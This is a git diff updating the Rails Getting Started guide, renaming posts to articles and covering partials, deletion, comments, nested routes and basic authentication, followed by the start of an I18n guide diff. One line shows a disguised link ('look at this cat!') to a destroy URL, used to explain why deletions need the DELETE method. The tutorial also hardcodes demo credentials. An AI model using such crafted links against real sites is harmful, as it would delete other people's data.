+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
 ```
 
 And here's how our app looks so far:
@@ -1005,30 +1285,34 @@ And here's how our app looks so far:
 
 ### Using partials to clean up duplication in views
 
-Our `edit` page looks very similar to the `new` page, in fact they
-both share the same code for displaying the form. Let's remove some duplication
-by using a view partial. By convention, partial files are prefixed by an
-underscore.
+Our `edit` page looks very similar to the `new` page; in fact, they
+both share the same code for displaying the form. Let's remove this
+duplication by using a view partial. By convention, partial files are
+prefixed with an underscore.
 
 TIP: You can read more about partials in the
 [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
 
-Create a new file `app/views/posts/_form.html.erb` with the following
+Create a new file `app/views/articles/_form.html.erb` with the following
 content:
 
 ```html+erb
-<%= form_for @post do |f| %>
-  <% if @post.errors.any? %>
-  <div id="error_explanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
-      this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
+<%= form_for @article do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
   <% end %>
+
   <p>
     <%= f.label :title %><br>
     <%= f.text_field :title %>
@@ -1042,46 +1326,47 @@ content:
   <p>
     <%= f.submit %>
   </p>
+
 <% end %>
 ```
 
 Everything except for the `form_for` declaration remained the same.
 The reason we can use this shorter, simpler `form_for` declaration
-to stand in for either of the other forms is that `@post` is a *resource*
+to stand in for either of the other forms is that `@article` is a *resource*
 corresponding to a full set of RESTful routes, and Rails is able to infer
 which URI and method to use.
-For more information about this use of `form_for`, see
-[Resource-oriented style](//api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+For more information about this use of `form_for`, see [Resource-oriented style]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
 
-Now, let's update the `app/views/posts/new.html.erb` view to use this new partial, rewriting it
-completely:
+Now, let's update the `app/views/articles/new.html.erb` view to use this new
+partial, rewriting it completely:
 
 ```html+erb
-<h1>New post</h1>
+<h1>New article</h1>
 
 <%= render 'form' %>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
-Then do the same for the `app/views/posts/edit.html.erb` view:
+Then do the same for the `app/views/articles/edit.html.erb` view:
 
 ```html+erb
-<h1>Edit post</h1>
+<h1>Edit article</h1>
 
 <%= render 'form' %>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
-### Deleting Posts
+### Deleting Articles
 
-We're now ready to cover the "D" part of CRUD, deleting posts from the
+We're now ready to cover the "D" part of CRUD, deleting articles from the
 database. Following the REST convention, the route for
-deleting posts as per output of `rake routes` is:
+deleting articles as per output of `rake routes` is:
 
 ```ruby
-DELETE /posts/:id(.:format)      posts#destroy
+DELETE /articles/:id(.:format)      articles#destroy
 ```
 
 The `delete` routing method should be used for routes that destroy
@@ -1089,19 +1374,76 @@ resources. If this was left as a typical `get` route, it could be possible for
 people to craft malicious URLs like this:
 
 ```html
-<a href='http://example.com/posts/1/destroy'>look at this cat!</a>
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
 ```
 
-We use the `delete` method for destroying resources, and this route is mapped to
-the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
-provided below:
+We use the `delete` method for destroying resources, and this route is mapped
+to the `destroy` action inside `app/controllers/articles_controller.rb`, which
+doesn't exist yet. The `destroy` method is generally the last CRUD action in
+the controller, and like the other public CRUD actions, it must be placed
+before any `private` or `protected` methods. Let's add it:
 
 ```ruby
 def destroy
-  @post = Post.find(params[:id])
-  @post.destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+```
+
+The complete `ArticlesController` in the
+`app/controllers/articles_controller.rb` file should now look like this:
+
+```ruby
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+    @article = Article.new
+  end
+
+  def edit
+    @article = Article.find(params[:id])
+  end
+
+  def create
+    @article = Article.new(article_params)
+
+    if @article.save
+      redirect_to @article
+    else
+      render 'new'
+    end
+  end
+
+  def update
+    @article = Article.find(params[:id])
+
+    if @article.update(article_params)
+      redirect_to @article
+    else
+      render 'edit'
+    end
+  end
+
+  def destroy
+    @article = Article.find(params[:id])
+    @article.destroy
 
-  redirect_to posts_path
+    redirect_to articles_path
+  end
+
+  private
+    def article_params
+      params.require(:article).permit(:title, :text)
+    end
 end
 ```
 
@@ -1110,11 +1452,11 @@ them from the database. Note that we don't need to add a view for this
 action since we're redirecting to the `index` action.
 
 Finally, add a 'Destroy' link to your `index` action template
-(`app/views/posts/index.html.erb`) to wrap everything
-together.
+(`app/views/articles/index.html.erb`) to wrap everything together.
 
 ```html+erb
-<h1>Listing Posts</h1>
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
 <table>
   <tr>
     <th>Title</th>
@@ -1122,58 +1464,62 @@ together.
     <th colspan="3"></th>
   </tr>
 
-<% @posts.each do |post| %>
-  <tr>
-    <td><%= post.title %></td>
-    <td><%= post.text %></td>
-    <td><%= link_to 'Show', post_path(post) %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post_path(post),
-                    method: :delete, data: { confirm: 'Are you sure?' } %></td>
-  </tr>
-<% end %>
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+      <td><%= link_to 'Destroy', article_path(article),
+              method: :delete,
+              data: { confirm: 'Are you sure?' } %></td>
+    </tr>
+  <% end %>
 </table>
 ```
 
-Here we're using `link_to` in a different way. We pass the named route as the second argument,
-and then the options as another argument. The `:method` and `:'data-confirm'`
-options are used as HTML5 attributes so that when the link is clicked,
-Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
-This is done via the JavaScript file `jquery_ujs` which is automatically included
-into your application's layout (`app/views/layouts/application.html.erb`) when you
-generated the application. Without this file, the confirmation dialog box wouldn't appear.
+Here we're using `link_to` in a different way. We pass the named route as the
+second argument, and then the options as another argument. The `:method` and
+`:'data-confirm'` options are used as HTML5 attributes so that when the link is
+clicked, Rails will first show a confirm dialog to the user, and then submit the
+link with method `delete`.  This is done via the JavaScript file `jquery_ujs`
+which is automatically included into your application's layout
+(`app/views/layouts/application.html.erb`) when you generated the application.
+Without this file, the confirmation dialog box wouldn't appear.
 
 ![Confirm Dialog](images/getting_started/confirm_dialog.png)
 
+TIP: Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on
+[Working With Javascript in Rails](working_with_javascript_in_rails.html) guide.
+
 Congratulations, you can now create, show, list, update and destroy
-posts.
+articles.
 
-TIP: In general, Rails encourages the use of resources objects in place
-of declaring routes manually.
-For more information about routing, see
+TIP: In general, Rails encourages using resources objects instead of
+declaring routes manually. For more information about routing, see
 [Rails Routing from the Outside In](routing.html).
 
 Adding a Second Model
 ---------------------
 
-It's time to add a second model to the application. The second model will handle comments on
-posts.
+It's time to add a second model to the application. The second model will handle
+comments on articles.
 
 ### Generating a Model
 
 We're going to see the same generator that we used before when creating
-the `Post` model. This time we'll create a `Comment` model to hold
-reference of post comments. Run this command in your terminal:
+the `Article` model. This time we'll create a `Comment` model to hold
+reference of article comments. Run this command in your terminal:
 
 ```bash
-$ rails generate model Comment commenter:string body:text post:references
+$ bin/rails generate model Comment commenter:string body:text article:references
 ```
 
 This command will generate four files:
 
 | File                                         | Purpose                                                                                                |
 | -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
-| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
 | app/models/comment.rb                        | The Comment model                                                                                      |
 | test/models/comment_test.rb                  | Testing harness for the comments model                                                                 |
 | test/fixtures/comments.yml                   | Sample comments for use in testing                                                                     |
@@ -1182,12 +1528,12 @@ First, take a look at `app/models/comment.rb`:
 
 ```ruby
 class Comment < ActiveRecord::Base
-  belongs_to :post
+  belongs_to :article
 end
 ```
 
-This is very similar to the `post.rb` model that you saw earlier. The difference
-is the line `belongs_to :post`, which sets up an Active Record _association_.
+This is very similar to the `Article` model that you saw earlier. The difference
+is the line `belongs_to :article`, which sets up an Active Record _association_.
 You'll learn a little about associations in the next section of this guide.
 
 In addition to the model, Rails has also made a migration to create the
@@ -1199,10 +1545,13 @@ class CreateComments < ActiveRecord::Migration
     create_table :comments do |t|
       t.string :commenter
       t.text :body
-      t.references :post, index: true
 
-      t.timestamps
+      # this line adds an integer column called `article_id`.
+      t.references :article, index: true
+
+      t.timestamps null: false
     end
+    add_foreign_key :comments, :articles
   end
 end
 ```
@@ -1212,7 +1561,7 @@ the two models. An index for this association is also created on this column.
 Go ahead and run the migration:
 
 ```bash
-$ rake db:migrate
+$ bin/rake db:migrate
 ```
 
 Rails is smart enough to only execute the migrations that have not already been
@@ -1222,63 +1571,67 @@ run against the current database, so in this case you will just see:
 ==  CreateComments: migrating =================================================
 -- create_table(:comments)
    -> 0.0115s
+-- add_foreign_key(:comments, :articles)
+   -> 0.0000s
 ==  CreateComments: migrated (0.0119s) ========================================
 ```
 
 ### Associating Models
 
 Active Record associations let you easily declare the relationship between two
-models. In the case of comments and posts, you could write out the relationships
-this way:
+models. In the case of comments and articles, you could write out the
+relationships this way:
 
-* Each comment belongs to one post.
-* One post can have many comments.
+* Each comment belongs to one article.
+* One article can have many comments.
 
 In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that
-makes each comment belong to a Post:
+association. You've already seen the line of code inside the `Comment` model
+(app/models/comment.rb) that makes each comment belong to an Article:
 
 ```ruby
 class Comment < ActiveRecord::Base
-  belongs_to :post
+  belongs_to :article
 end
 ```
 
-You'll need to edit `app/models/post.rb` to add the other side of the association:
+You'll need to edit `app/models/article.rb` to add the other side of the
+association:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   has_many :comments
   validates :title, presence: true,
                     length: { minimum: 5 }
-  [...]
 end
 ```
 
 These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable `@post` containing a post, you can retrieve all
-the comments belonging to that post as an array using `@post.comments`.
+you have an instance variable `@article` containing an article, you can retrieve
+all the comments belonging to that article as an array using
+`@article.comments`.
 
 TIP: For more information on Active Record associations, see the [Active Record
 Associations](association_basics.html) guide.
 
 ### Adding a Route for Comments
 
-As with the `welcome` controller, we will need to add a route so that Rails knows
-where we would like to navigate to see `comments`. Open up the
+As with the `welcome` controller, we will need to add a route so that Rails
+knows where we would like to navigate to see `comments`. Open up the
 `config/routes.rb` file again, and edit it as follows:
 
 ```ruby
-resources :posts do
+resources :articles do
   resources :comments
 end
 ```
 
-This creates `comments` as a _nested resource_ within `posts`. This is another
-part of capturing the hierarchical relationship that exists between posts and
-comments.
+This creates `comments` as a _nested resource_ within `articles`. This is
+another part of capturing the hierarchical relationship that exists between
+articles and comments.
 
-TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
+TIP: For more information on routing, see the [Rails Routing](routing.html)
+guide.
 
 ### Generating a Controller
 
@@ -1286,10 +1639,10 @@ With the model in hand, you can turn your attention to creating a matching
 controller. Again, we'll use the same generator we used before:
 
 ```bash
-$ rails generate controller Comments
+$ bin/rails generate controller Comments
 ```
 
-This creates six files and one empty directory:
+This creates five files and one empty directory:
 
 | File/Directory                               | Purpose                                  |
 | -------------------------------------------- | ---------------------------------------- |
@@ -1297,32 +1650,31 @@ This creates six files and one empty directory:
 | app/views/comments/                          | Views of the controller are stored here  |
 | test/controllers/comments_controller_test.rb | The test for the controller              |
 | app/helpers/comments_helper.rb               | A view helper file                       |
-| test/helpers/comments_helper_test.rb         | The test for the helper                  |
-| app/assets/javascripts/comment.js.coffee     | CoffeeScript for the controller          |
-| app/assets/stylesheets/comment.css.scss      | Cascading style sheet for the controller |
+| app/assets/javascripts/comment.coffee        | CoffeeScript for the controller          |
+| app/assets/stylesheets/comment.scss          | Cascading style sheet for the controller |
 
 Like with any blog, our readers will create their comments directly after
-reading the post, and once they have added their comment, will be sent back to
-the post show page to see their comment now listed. Due to this, our
+reading the article, and once they have added their comment, will be sent back
+to the article show page to see their comment now listed. Due to this, our
 `CommentsController` is there to provide a method to create comments and delete
 spam comments when they arrive.
 
-So first, we'll wire up the Post show template
-(`app/views/posts/show.html.erb`) to let us make a new comment:
+So first, we'll wire up the Article show template
+(`app/views/articles/show.html.erb`) to let us make a new comment:
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 
 <h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
   <p>
     <%= f.label :commenter %><br>
     <%= f.text_field :commenter %>
@@ -1336,22 +1688,22 @@ So first, we'll wire up the Post show template
   </p>
 <% end %>
 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
 ```
 
-This adds a form on the `Post` show page that creates a new comment by
+This adds a form on the `Article` show page that creates a new comment by
 calling the `CommentsController` `create` action. The `form_for` call here uses
-an array, which will build a nested route, such as `/posts/1/comments`.
+an array, which will build a nested route, such as `/articles/1/comments`.
 
 Let's wire up the `create` in `app/controllers/comments_controller.rb`:
 
 ```ruby
 class CommentsController < ApplicationController
   def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.create(comment_params)
-    redirect_to post_path(@post)
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
   end
 
   private
@@ -1361,35 +1713,36 @@ class CommentsController < ApplicationController
 end
 ```
 
-You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up. Each request for a
-comment has to keep track of the post to which the comment is attached, thus the
-initial call to the `find` method of the `Post` model to get the post in question.
+You'll see a bit more complexity here than you did in the controller for
+articles. That's a side-effect of the nesting that you've set up. Each request
+for a comment has to keep track of the article to which the comment is attached,
+thus the initial call to the `find` method of the `Article` model to get the
+article in question.
 
 In addition, the code takes advantage of some of the methods available for an
-association. We use the `create` method on `@post.comments` to create and save
-the comment. This will automatically link the comment so that it belongs to that
-particular post.
+association. We use the `create` method on `@article.comments` to create and
+save the comment. This will automatically link the comment so that it belongs to
+that particular article.
 
-Once we have made the new comment, we send the user back to the original post
-using the `post_path(@post)` helper. As we have already seen, this calls the
-`show` action of the `PostsController` which in turn renders the `show.html.erb`
-template. This is where we want the comment to show, so let's add that to the
-`app/views/posts/show.html.erb`.
+Once we have made the new comment, we send the user back to the original article
+using the `article_path(@article)` helper. As we have already seen, this calls
+the `show` action of the `ArticlesController` which in turn renders the
+`show.html.erb` template. This is where we want the comment to show, so let's
+add that to the `app/views/articles/show.html.erb`.
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 
 <h2>Comments</h2>
-<% @post.comments.each do |comment| %>
+<% @article.comments.each do |comment| %>
   <p>
     <strong>Commenter:</strong>
     <%= comment.commenter %>
@@ -1402,7 +1755,7 @@ template. This is where we want the comment to show, so let's add that to the
 <% end %>
 
 <h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
   <p>
     <%= f.label :commenter %><br>
     <%= f.text_field :commenter %>
@@ -1416,26 +1769,26 @@ template. This is where we want the comment to show, so let's add that to the
   </p>
 <% end %>
 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
 ```
 
-Now you can add posts and comments to your blog and have them show up in the
+Now you can add articles and comments to your blog and have them show up in the
 right places.
 
-![Post with Comments](images/getting_started/post_with_comments.png)
+![Article with Comments](images/getting_started/article_with_comments.png)
 
 Refactoring
 -----------
 
-Now that we have posts and comments working, take a look at the
-`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
-use partials to clean it up.
+Now that we have articles and comments working, take a look at the
+`app/views/articles/show.html.erb` template. It is getting long and awkward. We
+can use partials to clean it up.
 
 ### Rendering Partial Collections
 
-First, we will make a comment partial to extract showing all the comments for the
-post. Create the file `app/views/comments/_comment.html.erb` and put the
+First, we will make a comment partial to extract showing all the comments for
+the article. Create the file `app/views/comments/_comment.html.erb` and put the
 following into it:
 
 ```html+erb
@@ -1450,25 +1803,25 @@ following into it:
 </p>
 ```
 
-Then you can change `app/views/posts/show.html.erb` to look like the
+Then you can change `app/views/articles/show.html.erb` to look like the
 following:
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 
 <h2>Comments</h2>
-<%= render @post.comments %>
+<%= render @article.comments %>
 
 <h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
   <p>
     <%= f.label :commenter %><br>
     <%= f.text_field :commenter %>
@@ -1482,13 +1835,13 @@ following:
   </p>
 <% end %>
 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
 ```
 
 This will now render the partial in `app/views/comments/_comment.html.erb` once
-for each comment that is in the `@post.comments` collection. As the `render`
-method iterates over the `@post.comments` collection, it assigns each
+for each comment that is in the `@article.comments` collection. As the `render`
+method iterates over the `@article.comments` collection, it assigns each
 comment to a local variable named the same as the partial, in this case
 `comment` which is then available in the partial for us to show.
 
@@ -1498,7 +1851,7 @@ Let us also move that new comment section out to its own partial. Again, you
 create a file `app/views/comments/_form.html.erb` containing:
 
 ```html+erb
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
   <p>
     <%= f.label :commenter %><br>
     <%= f.text_field :commenter %>
@@ -1513,27 +1866,27 @@ create a file `app/views/comments/_form.html.erb` containing:
 <% end %>
 ```
 
-Then you make the `app/views/posts/show.html.erb` look like the following:
+Then you make the `app/views/articles/show.html.erb` look like the following:
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 
 <h2>Comments</h2>
-<%= render @post.comments %>
+<%= render @article.comments %>
 
 <h2>Add a comment:</h2>
-<%= render "comments/form" %>
+<%= render 'comments/form' %>
 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
 ```
 
 The second render just defines the partial template we want to render,
@@ -1541,15 +1894,15 @@ The second render just defines the partial template we want to render,
 string and realize that you want to render the `_form.html.erb` file in
 the `app/views/comments` directory.
 
-The `@post` object is available to any partials rendered in the view because we
-defined it as an instance variable.
+The `@article` object is available to any partials rendered in the view because
+we defined it as an instance variable.
 
 Deleting Comments
 -----------------
 
 Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a `DELETE` action
-in the `CommentsController`.
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
 
 So first, let's add the delete link in the
 `app/views/comments/_comment.html.erb` partial:
@@ -1566,30 +1919,30 @@ So first, let's add the delete link in the
 </p>
 
 <p>
-  <%= link_to 'Destroy Comment', [comment.post, comment],
+  <%= link_to 'Destroy Comment', [comment.article, comment],
                method: :delete,
                data: { confirm: 'Are you sure?' } %>
 </p>
 ```
 
 Clicking this new "Destroy Comment" link will fire off a `DELETE
-/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
-controller (`app/controllers/comments_controller.rb`):
+/articles/:article_id/comments/:id` to our `CommentsController`, which can then
+use this to find the comment we want to delete, so let's add a `destroy` action
+to our controller (`app/controllers/comments_controller.rb`):
 
 ```ruby
 class CommentsController < ApplicationController
   def create
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.create(comment_params)
-    redirect_to post_path(@post)
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
   end
 
   def destroy
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
     @comment.destroy
-    redirect_to post_path(@post)
+    redirect_to article_path(@article)
   end
 
   private
@@ -1599,24 +1952,23 @@ class CommentsController < ApplicationController
 end
 ```
 
-The `destroy` action will find the post we are looking at, locate the comment
-within the `@post.comments` collection, and then remove it from the
-database and send us back to the show action for the post.
+The `destroy` action will find the article we are looking at, locate the comment
+within the `@article.comments` collection, and then remove it from the
+database and send us back to the show action for the article.
 
 
 ### Deleting Associated Objects
 
-If you delete a post then its associated comments will also need to be deleted.
-Otherwise they would simply occupy space in the database. Rails allows you to
-use the `dependent` option of an association to achieve this. Modify the Post
-model, `app/models/post.rb`, as follows:
+If you delete an article, its associated comments will also need to be
+deleted, otherwise they would simply occupy space in the database. Rails allows
+you to use the `dependent` option of an association to achieve this. Modify the
+Article model, `app/models/article.rb`, as follows:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   has_many :comments, dependent: :destroy
   validates :title, presence: true,
                     length: { minimum: 5 }
-  [...]
 end
 ```
 
@@ -1625,34 +1977,35 @@ Security
 
 ### Basic Authentication
 
-If you were to publish your blog online, anybody would be able to add, edit and
-delete posts or delete comments.
+If you were to publish your blog online, anyone would be able to add, edit and
+delete articles or delete comments.
 
 Rails provides a very simple HTTP authentication system that will work nicely in
 this situation.
 
-In the `PostsController` we need to have a way to block access to the various
-actions if the person is not authenticated, here we can use the Rails
-`http_basic_authenticate_with` method, allowing access to the requested
+In the `ArticlesController` we need to have a way to block access to the
+various actions if the person is not authenticated. Here we can use the Rails
+`http_basic_authenticate_with` method, which allows access to the requested
 action if that method allows it.
 
 To use the authentication system, we specify it at the top of our
-`PostsController`, in this case, we want the user to be authenticated on every
-action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`:
+`ArticlesController` in `app/controllers/articles_controller.rb`. In our case,
+we want the user to be authenticated on every action except `index` and `show`,
+so we write that:
 
 ```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
 
   http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
 
   def index
-    @posts = Post.all
+    @articles = Article.all
   end
 
   # snipped for brevity
 ```
 
-We also only want to allow authenticated users to delete comments, so in the
+We also want to allow only authenticated users to delete comments, so in the
 `CommentsController` (`app/controllers/comments_controller.rb`) we write:
 
 ```ruby
@@ -1661,49 +2014,47 @@ class CommentsController < ApplicationController
   http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
 
   def create
-    @post = Post.find(params[:post_id])
-    ...
+    @article = Article.find(params[:article_id])
+    # ...
   end
+
   # snipped for brevity
 ```
 
-Now if you try to create a new post, you will be greeted with a basic HTTP
-Authentication challenge
+Now if you try to create a new article, you will be greeted with a basic HTTP
+Authentication challenge:
 
 ![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
 
 Other authentication methods are available for Rails applications. Two popular
-authentication add-ons for Rails are the [Devise](https://github.com/plataformatec/devise)
-rails engine and the [Authlogic](https://github.com/binarylogic/authlogic) gem,
+authentication add-ons for Rails are the
+[Devise](https://github.com/plataformatec/devise) rails engine and
+the [Authlogic](https://github.com/binarylogic/authlogic) gem,
 along with a number of others.
 
 
 ### Other Security Considerations
 
 Security, especially in web applications, is a broad and detailed area. Security
-in your Rails application is covered in more depth in 
-The [Ruby on Rails Security Guide](security.html)
+in your Rails application is covered in more depth in
+the [Ruby on Rails Security Guide](security.html).
 
 
 What's Next?
 ------------
 
 Now that you've seen your first Rails application, you should feel free to
-update it and experiment on your own. But you don't have to do everything
-without help. As you need assistance getting up and running with Rails, feel
-free to consult these support resources:
+update it and experiment on your own.
 
-* The [Ruby on Rails guides](index.html)
+Remember you don't have to do everything without help. As you need assistance
+getting up and running with Rails, feel free to consult these support
+resources:
+
+* The [Ruby on Rails Guides](index.html)
 * The [Ruby on Rails Tutorial](http://railstutorial.org/book)
 * The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
 * The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
 
-Rails also comes with built-in help that you can generate using the rake command-line utility:
-
-* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
-* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
-
-TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go.
 
 Configuration Gotchas
 ---------------------
@@ -1723,15 +2074,16 @@ cannot be automatically detected by Rails and corrected.
 
 Two very common sources of data that are not UTF-8:
 
-* Your text editor: Most text editors (such as TextMate), default to saving files as
-  UTF-8. If your text editor does not, this can result in special characters that you
-  enter in your templates (such as é) to appear as a diamond with a question mark inside
-  in the browser. This also applies to your i18n translation files.
-  Most editors that do not already default to UTF-8 (such as some versions of
-  Dreamweaver) offer a way to change the default to UTF-8. Do so.
-* Your database: Rails defaults to converting data from your database into UTF-8 at
-  the boundary. However, if your database is not using UTF-8 internally, it may not
-  be able to store all characters that your users enter. For instance, if your database
-  is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
-  character, the data will be lost forever once it enters the database. If possible,
-  use UTF-8 as the internal storage of your database.
+* Your text editor: Most text editors (such as TextMate), default to saving
+  files as UTF-8. If your text editor does not, this can result in special
+  characters that you enter in your templates (such as é) to appear as a diamond
+  with a question mark inside in the browser. This also applies to your i18n
+  translation files. Most editors that do not already default to UTF-8 (such as
+  some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
+  so.
+* Your database: Rails defaults to converting data from your database into UTF-8
+  at the boundary. However, if your database is not using UTF-8 internally, it
+  may not be able to store all characters that your users enter. For instance,
+  if your database is using Latin-1 internally, and your user enters a Russian,
+  Hebrew, or Japanese character, the data will be lost forever once it enters
+  the database. If possible, use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index ead9c6b94d..8f24c53edb 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Rails Internationalization (I18n) API
 =====================================
 
@@ -28,7 +30,7 @@ After reading this guide, you will know:
 
 --------------------------------------------------------------------------------
 
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information.
 
 How I18n in Ruby on Rails Works
 -------------------------------
@@ -92,7 +94,7 @@ Rails adds all `.rb` and `.yml` files from the `config/locales` directory to you
 
 The default `en.yml` locale in this directory contains a sample pair of translation strings:
 
-```ruby
+```yaml
 en:
   hello: "Hello world"
 ```
@@ -101,13 +103,13 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor
 
 The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
 
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
